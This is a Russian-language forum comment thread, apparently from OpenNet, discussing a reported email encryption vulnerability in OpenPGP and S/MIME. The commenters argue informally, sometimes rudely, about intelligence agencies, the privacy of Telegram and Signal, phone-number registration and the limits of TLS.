Все верно, ведь все-все дыры во всех-всех алгоритмах (причем сразу со сплойтами и прочим) доступны  каждому сотруднику, без подписи десятка бумажек и обещания ана^W различных кар в случае утечки …

Ответить | Правка | Наверх | Cообщить модератору

72. "Критическая уязвимость в системах шифрования email на основе..." +3 +/–

Сообщение от kk (??), 14-Май-18, 17:01

анальные карты очень наверное страшны когда на кону тысячи биткоинов
ну что вы в самом деле

Ответить | Правка | Наверх | Cообщить модератору

74. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Аноним84701 (ok), 14-Май-18, 17:13

> анальные карты очень наверное страшны когда на кону тысячи биткоинов ну что вы в самом деле
Зато обосновывать отсутствие дыр в алгоритмах тем, что бывшие сотрудники АНБ не попались на уводе биткоинов совсем не "в самом деле"?
Если исходить из шпионских рома^W^W логики, то доступ к таким вещам всегда будет у довольно ограниченного количества людей. И в особо сильную текучку кадров и наличие кучи откровенных дураков там как-то не сильно верится.
В свою очередь, в этом случае эти бывшие сотрудники вполне себе осознают возможности родной  конторы (и того, что вычисляются они, скорее всего, только влет). А там все равно биткоины отберут и в места не столь отдаленные отправят.
Ну или они просто не попадаются, да -- доказать это вы тоже не можете ;)

Ответить | Правка | Наверх | Cообщить модератору

113. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Anonimous (?), 14-Май-18, 21:31

> анальные карты очень наверное страшны когда на кону тысячи биткоинов
полагаю, что в спецслужбах как в мафии: "анальные карты" за серьезный проступок приводят к тому, что даже тело оступившегося будет невозможно найти. Т.е с "анала" кары только начнутся, а не закончатся. Вы сильно переоцениваете значение денег.

Ответить | Правка | К родителю #72 | Наверх | Cообщить модератору

135. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Аноним (-), 19-Июл-21, 17:16

Второе правило крипографии - если ты не Риндейл.

Ответить | Правка | К родителю #16 | Наверх | Cообщить модератору

65. "Критическая уязвимость в системах шифрования email на основе..." +1 +/–

Сообщение от Ан (??), 14-Май-18, 15:07

Боюсь, на бизнесс времени не останется =) А если все и получится, то придут вежливые люди и попросят изменить алгоритм на гост и попутно отдать ключи

Ответить | Правка | К родителю #8 | Наверх | Cообщить модератору

14. "Критическая уязвимость в системах шифрования email на основе..." –7 +/–

Сообщение от Andrew (??), 14-Май-18, 11:37

99% пользователей имеют очень отдаленное представление о механизмах безопасности электронной почты, тем более, что речь идет о шифровании всего сообщения, а не только прикрепленных файлов. если OpenPGP еще кто-то использует, то S/MIME вообще для многих неведома зверушка. так что оба стандарта могут быть кривыми и косыми, никого это не коснется. и вообще хороший повод задуматься о том, что электронная почта это ископаемое из 70-80х годов 20 века, которое давно не отвечает современным требованиям.

Ответить | Правка | Наверх | Cообщить модератору

17. "Критическая уязвимость в системах шифрования email на основе..." +1 +/–

Сообщение от Аноним (-), 14-Май-18, 11:43

Ископаемое, согласен. Но что на замену?

Ответить | Правка | Наверх | Cообщить модератору

20. "Критическая уязвимость в системах шифрования email на основе..." –6 +/–

Сообщение от Аноним (-), 14-Май-18, 11:52

очевидный телеграм очевиден

Ответить | Правка | Наверх | Cообщить модератору

25. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Ivan_83 (ok), 14-Май-18, 11:56

телеграм и сигнал пусть идут по дальше, такие проекты ущемляющие свободы пользователей и их приватность.

Ответить | Правка | Наверх | Cообщить модератору

28. "Критическая уязвимость в системах шифрования email на основе..." –10 +/–

Сообщение от Аноним (-), 14-Май-18, 11:57

> телеграм и сигнал пусть идут по дальше, такие проекты ущемляющие свободы пользователей
> и их приватность.
Сигнал да, но телеграм борется за свободы пользователей и их приватность.

Ответить | Правка | Наверх | Cообщить модератору

33. "Критическая уязвимость в системах шифрования email на основе..." +11 +/–

Сообщение от Вы забыли заполнить поле Name (?), 14-Май-18, 12:12

Насмешил. Дуруов и Ко борются за свои денюшки и делают пиар для таких как ты.

Ответить | Правка | Наверх | Cообщить модератору

38. "Критическая уязвимость в системах шифрования email на основе..." –1 +/–

Сообщение от Crazy Alex (ok), 14-Май-18, 12:47

Насколько я понимаю, у них одно другому не мешает - но это пока противоречия нет. Ну и свободы и приватность - тоже разные вещи. Вон, Эппл довольно агрессивно защищает приватность (а перед ним блекберри долго держался) - но свободы там ни капли.

Ответить | Правка | Наверх | Cообщить модератору

46. "Критическая уязвимость в системах шифрования email на основе..." +1 +/–

Сообщение от rshadow (ok), 14-Май-18, 13:13

> у них одно другому не мешает
Так себе утверждение. Пиарили-то серетные чаты, которыми никто не пользуется. А оказалось все как всегда.

Ответить | Правка | Наверх | Cообщить модератору

47. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Аноним (-), 14-Май-18, 13:23

Говори только за себя.

Ответить | Правка | Наверх | Cообщить модератору

50. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от unxed (?), 14-Май-18, 13:33

Наличие секретных чатов при доступности не секретных само по себе свидетельство в пользу того, что человеку есть что скрывать.
Гранты за уязвимости в алгоритмах доказывают только то, что уязвимости стоят дороже этих грантов.
Если я, условный телеграм-барыга, знаю, что взятка ментам дешевле уязимости (использование которой одноразово), я могу спать спокойно.
Но в сравнении с теми же биткойнами, надёжность которых подтверждена кругленькими хранимыми суммами, гранты Дурова выглядят смешно.

Ответить | Правка | Наверх | Cообщить модератору

51. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Аноним (-), 14-Май-18, 13:48

Эти ваши бетховены никем не признанные фантики.

Ответить | Правка | Наверх | Cообщить модератору

129. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от unxed (?), 15-Май-18, 13:29

Какая разница, пока их можно обменять на кем-то признанные фантики.

Ответить | Правка | Наверх | Cообщить модератору

76. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Crazy Alex (ok), 14-Май-18, 17:28

Нормальное утверждение. Получать прибыль с пользовательской базы не обязательно рекламой или продажей личной информации, можно и поинтереснее штуки придумать. Дуров в этом плане придумал вполне неплохо.
Продают они сейчас TON - свою (будущую) крипту. Ежу ясно, что у них и достаточно ресурсов, чтобы эту штуку сделать и достаточная пользовательская база, её хорошо раскрутить, если она будет хотя бы не хуже прочих. И получить МНОГО - сравнимо с eth, пожалуй. В миллиардах, сотнях миллионов как минимум. При этом морочить голову со слежкой и подобным банально смысла нет - не окупится. Поэтому полагаю, что пока им таки выгодна приватность пользователей. Что будет дальше - а там будет видно. По идее надёжность их штуковины будет и в дальнейшем её плюсом. Плюс Дуров - вполне известный либертарианец.

Ответить | Правка | К родителю #46 | Наверх | Cообщить модератору

80. "Критическая уязвимость в системах шифрования email на основе..." +1 +/–

Сообщение от Andrey Mitrofanov (?), 14-Май-18, 17:41

>При этом морочить голову со слежкой и
> подобным банально смысла нет - не окупится. Поэтому полагаю, что пока
> им таки выгодна приватность пользователей.
Морочить голову надо _отсутствием_ слежки, _гарантированным_ отсутствием на уровне математики, а не то, что Вы написали...

Ответить | Правка | Наверх | Cообщить модератору

81. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Andrey Mitrofanov (?), 14-Май-18, 17:44

>_гарантированным_ отсутствием на уровне математики,
Ещё неплохо заморочиться _гарантированным_ {из,у}беганием {,от} угроз на уровне государств, айбиэмов-фейсбуков-микросовтов и рептилоидов...
> а не то, что Вы написали...

Ответить | Правка | Наверх | Cообщить модератору

84. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Crazy Alex (ok), 14-Май-18, 17:59

Кому-то надо, а кому-то и нет. Что за манера решать за других, что им нужно (и чем они за это должны платить)?
Допустим, если я с кем-то договариваюсь купить пару биткоинов за (вполне легально полученный) кэш мне хотелось бы, чтобы местный криминал это не узнал с понятными последствими. А вот узнает об этом Дуров или нет - мне побоку, так как крайне сомнительно, чтобы он с местной гопотой сотрудничал.
Если барышня высылает кому-то свои фоточки ню - она, вероятно, не хочет, чтобы они попали в общий доступ, но, опять же, АНБ для неё вряд ли представляет опасность. В будущем может проявить интерес, конечно, но вероятность исчезающе мала.
Когда муж пишет жене, забывшей ключ "запасной лежит под третьей справа черепицей от курятника" - та же ситуация. А такой бытовухи - абсолютное большинство.

Ответить | Правка | К родителю #80 | Наверх | Cообщить модератору

58. "Критическая уязвимость в системах шифрования email на основе..." +2 +/–

Сообщение от Ivan_83 (ok), 14-Май-18, 14:25

Огрызок интенсивно пеарится, как и все американские сервисы.
Их цель - создать видимость что они не сотрудничают и не сливают данные хомяков в АНБ, но я этому никогда не поверю, потому что АНБ гарантирует им жирные гос контракты и крышу, есть там и просто патриоты на уровне нашей ваты.

Ответить | Правка | К родителю #38 | Наверх | Cообщить модератору

75. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Crazy Alex (ok), 14-Май-18, 17:20

Кто там что им гарантирует - это уже фантазии пошли. Не то, чтобы этого быть не могло, но на аргумент не тянет. А вот противоположные примеры вполне известны.
Ну а пиарятся абсолютно все вменяемые организации - хоть коммерческие, хоть за идэю. Кто не пиарится - тот дохнет :-)

Ответить | Правка | Наверх | Cообщить модератору

91. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Ivan_83 (ok), 14-Май-18, 18:23

Как маленький.
А госы ихние по твоему что маки и венду не покупают?
Это самое очевидное.
Из не очевидного всякие инвестиционные фонды, но тут я и не писал ничего, хотя и предполагаю что они тоже льют баблом, у них там из бывших силовиков дохрена народу где в верхах.

Ответить | Правка | Наверх | Cообщить модератору

57. "Критическая уязвимость в системах шифрования email на основе..." +3 +/–

Сообщение от Ivan_83 (ok), 14-Май-18, 14:22

Любой централизованный месенгер никогда не даст никаких свобод, пользователь для владельцев таких систем всегда товар/ресурс, который используется для извлечения выгоды.
К владельцам таких систем всегда будут приходить люди с полномочиями и получать всё что им нужно.
Это неизбежно, это всё заложено сразу в систему, кто бы что там не декларировал.
Даже если месенгер типа е2е то он всегда знает кто с кем когда и сколько переписывался, это уже слишком много.
Борьба телеги - это сплошной пеар, они всегда так на халяву пеарились, с самого начала.
Если бы им реально было интересно свобода и приватность - они бы превратились в аналог токса, а пока они привязаны к мобиле и своим серверам - грош им цена.

Ответить | Правка | К родителю #28 | Наверх | Cообщить модератору

79. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Crazy Alex (ok), 14-Май-18, 17:37

Ну я вот не представляю, как можно сделать надёжный, удобный и не особо жручий P2P-сервис для "простых людей" с достаточным количеством модных плюшек. И живых примеров тоже не видать. Скорее вссего, будет как везде - на одном конце шкалы "секьюрно, неудобно и для понимающих", на другом "несекьюрно, зато с плюшками и для любой блондинки". В этом плане телеграм занял довольно вменяемую промежуточную позицию - и просто, и достаточно безопасно, чтобы той же наркотой там торговали.
А насчёт " всегда знает кто с кем когда и сколько переписывался, это уже слишком много" - это, в общем-то, вопрос личных предпочтений. Можно с тем же SSL сравнить - гарантирует безопасность? Нет. Но прилично удорожает атаку и защищает от всяких мелких "умников" - от тупого снифа до обнаглевшего ОПСОСа, пытающегося рекламу пихать.
А насчёт "всегда ресурс" - я там выше отвечал. Ресурс - это одно, как именно его использовать - другое.

Ответить | Правка | Наверх | Cообщить модератору

82. "Критическая уязвимость в системах шифрования email на..." +/–

Сообщение от arisu (ok), 14-Май-18, 17:45

потому что не надо ничего такого делать для «простых людей». если человек не понимает, что безопасность не может работать без его участия и понимания — он всегда найдёт способ обойти все меры безопасности и облажаться. а любая попытка сделать меры «менее обходимыми» заранее обречена: неудобно будет *всем*.
зато продавать (в том или ином виде, лучше всего неявно) «простым людям» «готовые решения для безопасности» — отличный лохотрон. ради чего, собственно, весь хайп с «безопасностью» и раскручивали.

Ответить | Правка | Наверх | Cообщить модератору

83. "Критическая уязвимость в системах шифрования email на..." +/–

Сообщение от Crazy Alex (ok), 14-Май-18, 17:50

Ну я ж даже примеры привёл с SSL и наркотой - оно вполне прилично защищает от примитивных угроз или атак с малыми ресурсами. Которых, в общем-то, большинство. Можно даже обнаглеть и сказать, что для того, кому нет нужды в безопасности разбираться, других угроз и не бывает.

Ответить | Правка | Наверх | Cообщить модератору

86. "Критическая уязвимость в системах шифрования email на..." +/–

Сообщение от arisu (ok), 14-Май-18, 18:09

для того, от чего «защищает» ssl — он сильно переусложнён. а мелкие наркоторговцы просто никому нафиг не нужны, для них (грубо говоря) и rot13 пойдёт: всем лень. а когда не лень, то отлично берут мозолистой рукой — как раз из-за того, что эти торговцы совершенно не умеют в безопасность. хуже того: не просто не умеют, а считают, что они в безопасности, потому что применяют «безопасные решения».
профанация безопасности (утверждение, что нечто «безопасно», хотя оно не) — это очень, очень плохо. потому что делает внедрение нормальной безопасности сложным почти до невозможности. пользователь *не* *понимет*, и «аргументирует» примерно так: «да что ты мне тут рассказываешь! сами XYZ говорят, что у них всё безопасно! а у них милионные обороты, они точно в этом понимают больше, чем ты!» криптографов такие люди читать не станут (иначе они бы *уже* прочитали), и понимать аргументы не могут в силу необразованости. в итоге внедрение «немножко безопасных» вещей ХУЖЕ, чем полный отказ от них.

Ответить | Правка | Наверх | Cообщить модератору

92. "Критическая уязвимость в системах шифрования email на..." +1 +/–

Сообщение от Ordu (ok), 14-Май-18, 18:36

> пользователь *не* *понимет*, и «аргументирует» примерно так: «да что ты мне тут рассказываешь! сами XYZ говорят, что у них всё безопасно! а у них милионные обороты, они точно в этом понимают больше, чем ты!»
Естественно. Я бы тоже так сказал.
> криптографов такие люди читать не станут (иначе они бы *уже* прочитали), и понимать аргументы не могут в силу необразованости.
А вот тут ты не прав. Я делал так, и продолжаю делать. Берёшь ссылку и выдаёшь её пользователю. Прилагаешь к ссылке краткое описание, но на уровне хомячка, чтобы он понял. Хомячок либо сглатывает и соглашается, либо краснеет от смущения и убегает, либо решает продолжить спор, но, поскольку возразить криптографу по сути он не может, то его возражения превращаются в упражнения в демагогии. А демагогию хомячка довольно просто размазать по стенке. Хомячки ведь не умеют не только в технологии, но и в аргументацию тоже. Они начинают оскорблять, кричать "а у них негров линчуют", нести ещё какой-то бред -- тут надо просто игнорировать оскорбления и прочие эмоции, и разбирать его аргументы, показывая ему, что она не стоит ни выеденного гроша, ни сломанного яйца.
Правда я не вижу зачем это можно делать, кроме как поглумиться над хомячком. Они, когда их к стенке припрёшь, начинают вертеться ужом на сковородке, скатываться всё глубже и глубже в оскорбления. С хомячком случается такое психологическое явление как регрессия: когда всякие "взрослые" методы работы с проблемой не работают, человек начинает использовать методы более ранних возрастов. А потом ещё более ранних. Моё наивысшее достижение -- я человека довёл до пятилетнего возраста, он начал твердить мне что-то типа "ты дурак", и что бы я ему не писал, он отвечал мне "ты дурак". Было прикольно, жалко что за такие достижения не дают памятных грамот и медалей. Я бы на стенку повесил.

Ответить | Правка | Наверх | Cообщить модератору

109. "Критическая уязвимость в системах шифрования email на..." +/–

Сообщение от Аноним (-), 14-Май-18, 21:19

Ух ты, тут как раз в соседней ветке freehck завалился в такой режим! Из всех аргументов - вопли что я ламер. А это оказывается вот оно что! Ух спасибище за объясение эффекта.

Ответить | Правка | Наверх | Cообщить модератору

114. "Критическая уязвимость в системах шифрования email на..." +/–

Сообщение от Anonimous (?), 14-Май-18, 21:42

Моё наивысшее достижение -- я человека довёл
> до пятилетнего возраста, он начал твердить мне что-то типа "ты дурак",
> и что бы я ему не писал, он отвечал мне "ты
> дурак". Было прикольно, жалко что за такие достижения не дают памятных
> грамот и медалей. Я бы на стенку повесил.
Сдаётся мне, что тот человек в корень зрил, а до тебя так и не дошло.
Перечитай свой пост ещё раз, распечатай и повесь на стенку. Возможно однажды дойдет.

Ответить | Правка | К родителю #92 | Наверх | Cообщить модератору

117. "Критическая уязвимость в системах шифрования email на..." +/–

Сообщение от Ordu (ok), 14-Май-18, 22:19

>  Моё наивысшее достижение -- я человека довёл
>> до пятилетнего возраста, он начал твердить мне что-то типа "ты дурак",
>> и что бы я ему не писал, он отвечал мне "ты
>> дурак". Было прикольно, жалко что за такие достижения не дают памятных
>> грамот и медалей. Я бы на стенку повесил.
> Сдаётся мне, что тот человек в корень зрил, а до тебя так
> и не дошло.
Да какая мне разница, куда он там зрил, если он от увиденного зрелища регрессировал до уровня пятилетнего?

Ответить | Правка | Наверх | Cообщить модератору

116. "Критическая уязвимость в системах шифрования email на..." +/–

Сообщение от arisu (ok), 14-Май-18, 21:51

это потому, что ты и есть дурак. такие дела.

Ответить | Правка | К родителю #92 | Наверх | Cообщить модератору

118. "Критическая уязвимость в системах шифрования email на..." +/–

Сообщение от Ordu (ok), 14-Май-18, 22:22

> это потому, что ты и есть дурак. такие дела.
И чё? Я и без хомячьих подсказок знаю, собственно, и не скрываю. Ну, не кричу на всех углах об этом, конечно, но и не скрываю.

Ответить | Правка | Наверх | Cообщить модератору

120. "Критическая уязвимость в системах шифрования email на..." +/–

Сообщение от Анонним (?), 15-Май-18, 00:12

все хомяки, а я мамкин психоаналитик! Регрессия, говорите?

Ответить | Правка | К родителю #118 | Наверх | Cообщить модератору

121. "Критическая уязвимость в системах шифрования email на..." +/–

Сообщение от Ordu (ok), 15-Май-18, 00:44

> все хомяки, а я мамкин психоаналитик! Регрессия, говорите?
Так это не я говорю -- это Фройд говорил. Ты можешь заглянуть в википедию и убедиться в этом. А то что хомяки -- так вы же сами по своей собственной инициативе стали подражать тому хомячку. Тут уж, как говорится, назвался груздем, полезай в кузов.

Ответить | Правка | К родителю #120 | Наверх | Cообщить модератору

123. "Критическая уязвимость в системах шифрования email на..." +/–

Сообщение от Anonimous (?), 15-Май-18, 01:03

> Так это не я говорю -- это Фройд говорил. Ты можешь заглянуть
> в википедию и убедиться в этом. А то что хомяки --
> так вы же сами по своей собственной инициативе стали подражать тому
> хомячку. Тут уж, как говорится, назвался груздем, полезай в кузов.
это ты ловко с темы спрыгнул! на этом, пожалуй, и закончим.

Ответить | Правка | К родителю #121 | Наверх | Cообщить модератору

132. "Критическая уязвимость в системах шифрования email на..." +/–

Сообщение от Аноним (-), 16-Май-18, 03:07

> это потому, что ты и есть дурак. такие дела.
Парадокс в том что это пофиг. Если некто демонстрирует уровень имбецила на публику, его логично считать именно таким имбецилом. А ordu на настолько махрового имбецила все-же не похож, у него аргументы явно посильнее 5-летнего.

Ответить | Правка | Наверх | Cообщить модератору

94. "Критическая уязвимость в системах шифрования email на основе..." +1 +/–

Сообщение от Ivan_83 (ok), 14-Май-18, 19:31

Нет промежуточной позиции.
Поскольку оно привязано к мобиле - того кого надо быстро триангулируют, если он вообще на себя не зарегал.
А заодно и звонки и смс подымут.
А по имеи ещё и узнают какие ещё симки/номера бывали в этой мобиле.
TLS был придумал чтобы пользоваться банковскими услугами онлайн, это априори подразумевает некоторую степень доверия всей этой системе и деанонимизацию.

Ответить | Правка | К родителю #79 | Наверх | Cообщить модератору

96. "Критическая уязвимость в системах шифрования email на основе..." –1 +/–

Сообщение от Crazy Alex (ok), 14-Май-18, 19:57

Ну вот тебе и промежуточная позиция - для триангуляции и подобного надо заинтересовать власти, причём откуда-то ещё, чтобы они пошевелились и предприняли какие-то действия. Но никак не читать/анализировать переписку всех со всеми, как с тем же скайпом или вконтактом.
Насчёт TLS - именно, и мвои функции ин неплохо выполняет, заоднлюо рубя всяких горе-хакеров и на прочих сайтах

Ответить | Правка | Наверх | Cообщить модератору

122. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Anonimous (?), 15-Май-18, 00:50

"для триангуляции и подобного надо заинтересовать власти"
это работает до тех пор пока они (власти) не обладают не обладают технической возможностью постоянно хранить всю бигдату где-то у себя. Как только такая возможность в России появится - нейронные сетки будут день и ночь заинтересованно копать и сопоставлять информацию. После этого можно будет 90% страны прислать различные штрафы по почте, а остальных сразу посадить. Для справки, в штатах подобное хранилище уже есть, https://en.wikipedia.org/wiki/Utah_Data_Center .
Другое дело, что в штатах у каждого второго дома арсенал оружия, поэтому власти очень аккуратно себя ведут.

Ответить | Правка | Наверх | Cообщить модератору

29. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Аноним (-), 14-Май-18, 11:58

> телеграм и сигнал пусть идут по дальше, такие проекты ущемляющие свободы пользователей
> и их приватность.
как будто днс, который использует емейлом, не является таковым. Только почтовые голуби с одноразовыми блокнотами спасут отца Русской Приватности.

Ответить | Правка | К родителю #25 | Наверх | Cообщить модератору

37. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Andrey Mitrofanov (?), 14-Май-18, 12:38

>днс, который использует емейлом, не
Deeper, bro!
https://gnunet.org/gns / https://duckduckgo.com/?q=gnunet+dns
/https://duckduckgo.com/?q=dht+dns /... //... ...

Ответить | Правка | Наверх | Cообщить модератору

102. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Михрютка (ok), 14-Май-18, 21:00

шутки шутками, а whois 25 числа обещали прикрыть, бо gdpr compliance

Ответить | Правка | К родителю #29 | Наверх | Cообщить модератору

30. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Аноним (-), 14-Май-18, 12:02

Ring, Tox

Ответить | Правка | К родителю #25 | Наверх | Cообщить модератору

21. "Критическая уязвимость в системах шифрования email на основе..." –3 +/–

Сообщение от Аноним (-), 14-Май-18, 11:53

Телеграм.

Ответить | Правка | К родителю #17 | Наверх | Cообщить модератору

43. "Критическая уязвимость в системах шифрования email на основе..." +1 +/–

Сообщение от Аноним (-), 14-Май-18, 12:56

Кто бы объяснил: на фига телеграм привязан к телефонному номеру?

Ответить | Правка | Наверх | Cообщить модератору

49. "Критическая уязвимость в системах шифрования email на основе..." –1 +/–

Сообщение от Аноним (-), 14-Май-18, 13:30

чтобы монетизировать сервис

Ответить | Правка | Наверх | Cообщить модератору

55. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Аноним (-), 14-Май-18, 14:03

> чтобы монетизировать сервис
Каким образом?

Ответить | Правка | Наверх | Cообщить модератору

52. "Критическая уязвимость в системах шифрования email на основе..." –1 +/–

Сообщение от Аноним (-), 14-Май-18, 13:50

Кто бы объяснил: на фига опеннет привязан к почтовому ящику?

Ответить | Правка | К родителю #43 | Наверх | Cообщить модератору

63. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Аноним (-), 14-Май-18, 14:55

"Гениальное" сравнение, молодец

Ответить | Правка | Наверх | Cообщить модератору

64. "Критическая уязвимость в системах шифрования email на основе..." –1 +/–

Сообщение от Аноним (-), 14-Май-18, 14:59

Ты считаешь есть разница?

Ответить | Правка | Наверх | Cообщить модератору

90. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Ordu (ok), 14-Май-18, 18:20

Да. Я могу создать сколько угодно почтовых ящиков. И очень часто создаю под новые регистрации новые почтовые ящики. С номерами телефонов всё гораздо сложнее. Я пытался как-то найти сервис, который позволял бы зарегистрировать одноразовый номер для получения одной смс, и чёт у меня не вышло это.

Ответить | Правка | Наверх | Cообщить модератору

133. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Аноним (-), 16-Май-18, 03:11

> Я пытался как-то найти сервис, который позволял бы зарегистрировать одноразовый
> номер для получения одной смс, и чёт у меня не вышло это.
Это ты плохо искал. Есть такие. Недорого и круто. У некоторых даже есть демо-номера, куда можно совсем уж нахаляву наспамить. Популярные сервисы там конечно выюзаны, но...

Ответить | Правка | Наверх | Cообщить модератору

67. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Аноним (-), 14-Май-18, 15:18

Hacke Nnews вообще-то прекрасно обходится без почты

Ответить | Правка | К родителю #63 | Наверх | Cообщить модератору

78. "Критическая уязвимость в системах шифрования email на..." +/–

Сообщение от arisu (ok), 14-Май-18, 17:36

> Hacke Nnews вообще-то прекрасно обходится без почты
а ты, конечно, чтобы написать этот комментарий, был просто вынужден ввести свой почтовый адрес.

Ответить | Правка | Наверх | Cообщить модератору

88. "Критическая уязвимость в системах шифрования email на..." +/–

Сообщение от Аноним (-), 14-Май-18, 18:14

Мы тебе про регистрацию, а ты про комментарий.

Ответить | Правка | Наверх | Cообщить модератору

106. "Критическая уязвимость в системах шифрования email на..." +/–

Сообщение от Михрютка (ok), 14-Май-18, 21:09

>> Hacke Nnews вообще-то прекрасно обходится без почты
> а ты, конечно, чтобы написать этот комментарий, был просто вынужден ввести свой
> почтовый адрес.
походу почтовый адрес моей учетки на опеннете не существует, как и домен. это мне не очень мешает.

Ответить | Правка | К родителю #78 | Наверх | Cообщить модератору

115. "Критическая уязвимость в системах шифрования email на..." +/–

Сообщение от arisu (ok), 14-Май-18, 21:44

глупый анонимус не в курсе, что на опеннете email при регистрации нужен исключительно для того, чтобы туда присылали комментарии, и вводить можно любую несуществующую фигню. но зато он Мнение Имеет!

Ответить | Правка | Наверх | Cообщить модератору

111. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Михрютка (ok), 14-Май-18, 21:22

> Кто бы объяснил: на фига телеграм привязан к телефонному номеру?
коллега, если вы приучите простого пользователя, испорченного смартфонами, заносить в телефонную книгу не номер телефона, а vasiapupkin@gde-to-tam, вы испытаете просветление и станете стивджобсом.
посчитайте, сколько у вас процентов в телефонной книге контактов, у которых не указан телефон, но указан какой-то другой идентификатор. обдумайте полученный результат.
я молчу о том, что signal, например, изначально был сделан для шифрования sms. тут без номера телефона вообще тяжело.

Ответить | Правка | К родителю #43 | Наверх | Cообщить модератору

126. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Аноним (-), 15-Май-18, 02:11

Кому нравится - пусть при регистрации указывает телефонный номер, но зачем же это навязывать?

Ответить | Правка | Наверх | Cообщить модератору

130. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Михрютка (ok), 15-Май-18, 23:40

на киевстар пожалуйся. они на каждой симке телефонный номер навязывают.

Ответить | Правка | Наверх | Cообщить модератору

134. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Аноним (-), 16-Май-18, 03:23

> тут без номера телефона вообще тяжело.
Телефонный номер в смс - весьма абстрактная штука. Если так посмотреть что в нем написано в входящих смс - ну ты понял. Кто угодно может так же. Просто не все об этом задумываются.
Представляешь, любой желающий может на самом деле обложить с якобы твоего номера кого угодно трехэтажным матом, например. Несколько менее примитивные варианты провернутые на 1 апреля заставляют корчиться под столом немало гиков - все ограничено только фантазией, большинство хомяков думают как ты и ведутся на раз.

Ответить | Правка | К родителю #111 | Наверх | Cообщить модератору

59. "Критическая уязвимость в системах шифрования email на основе..." +1 +/–

Сообщение от Ivan_83 (ok), 14-Май-18, 14:28

ггг как вам мозги то промыли.
Телега от аськи и мыло агента отличается только в худьшую сторону, ибо аська с агентом изначально мобилу не требовали и их можно было юзать не имея/не светя свой номер.

Ответить | Правка | К родителю #21 | Наверх | Cообщить модератору

22. "Критическая уязвимость в системах шифрования email на основе..." +1 +/–

Сообщение от Вещества (?), 14-Май-18, 11:54

жаббер с omemo

Ответить | Правка | К родителю #17 | Наверх | Cообщить модератору

24. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Аноним (-), 14-Май-18, 11:56

DIME Ладара Левисона?

Ответить | Правка | К родителю #17 | Наверх | Cообщить модератору

26. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от 1 (??), 14-Май-18, 11:56

хипстерский телеграмчик.
А по делу. Почта на бумаге - это 19 век (если не раньше) но всё как-то не избавиться.

Ответить | Правка | К родителю #17 | Наверх | Cообщить модератору

19. "Критическая уязвимость в системах шифрования email на основе..." –1 +/–

Сообщение от Нанобот (ok), 14-Май-18, 11:52

>среди исследователей, которые входят в команду, выявившую уязвимость, в основном представлены эксперты, специализирующиеся на криптографических алгоритмах
не беда, сейчас эксперты опеннета разберут все остальные малоизученные области и выдадут своё экспертное заключение 😂

Ответить | Правка | Наверх | Cообщить модератору

35. "Критическая уязвимость в системах шифрования email на основе..." +1 +/–

Сообщение от Andrey Mitrofanov (?), 14-Май-18, 12:32

>>среди исследователей, которые входят в команду, выявившую уязвимость, в основном представлены эксперты, специализирующиеся на криптографических алгоритмах
> не беда, сейчас эксперты опеннета разберут все остальные малоизученные области и выдадут
> своё экспертное заключение 😂
Особенно глубока и хорошо проработана экспертиза заключений эксертов по экспертизе областей опенета в области экспертизы.  О да, коллега, безусловно!
Но надо идти глубже++   //https://duckduckgo.com/?q=need+to+go+deeper&t=ffnt&iax=image...

Ответить | Правка | Наверх | Cообщить модератору

40. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Annoynymous (ok), 14-Май-18, 12:49

Мы нашли уязвимость, но мы вам её не покажем, не расскажем и вообще, о чём новость?

Ответить | Правка | Наверх | Cообщить модератору

44. "Критическая уязвимость в системах шифрования email на основе..." +1 +/–

Сообщение от Ordu (ok), 14-Май-18, 13:01

О том, что у тебя есть время до завтра подумать и хоть как-то среагировать на грядущее раскрытие уязвимости.

Ответить | Правка | Наверх | Cообщить модератору

53. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Andrey Mitrofanov (?), 14-Май-18, 13:52

> О том, что у тебя есть время до завтра подумать и хоть
> как-то среагировать на грядущее раскрытие уязвимости.
Все писатели шифрованных HTML-писем соберут чемоданы, бросят квартиру(-ы), машины, дачи, яхты и... успеют улететь у Дурову во ...Вьетнам? ...Амстердам? ...Лондон или куда-там???
А нет ли тут ушей главного борца с коррупцией в э ^W одной стране!?
...или я слегка переоцениваю угрозы от нашей прокуратуры....

Ответить | Правка | Наверх | Cообщить модератору

89. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Ordu (ok), 14-Май-18, 18:16

> Все писатели шифрованных HTML-писем соберут чемоданы, бросят квартиру(-ы), машины, дачи, яхты и... успеют улететь у Дурову во ...Вьетнам? ...Амстердам? ...Лондон или куда-там???
Нет, там же написано, что судя по всему будет достаточно срочно сменить email-клиент на что-нибудь, что не умеет в html, отображая его текстом.

Ответить | Правка | Наверх | Cообщить модератору

